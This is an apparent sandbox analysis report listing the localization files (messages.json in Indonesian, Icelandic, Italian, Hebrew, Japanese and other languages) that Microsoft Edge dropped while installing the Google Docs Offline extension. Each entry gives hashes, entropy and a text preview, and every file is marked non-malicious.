MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
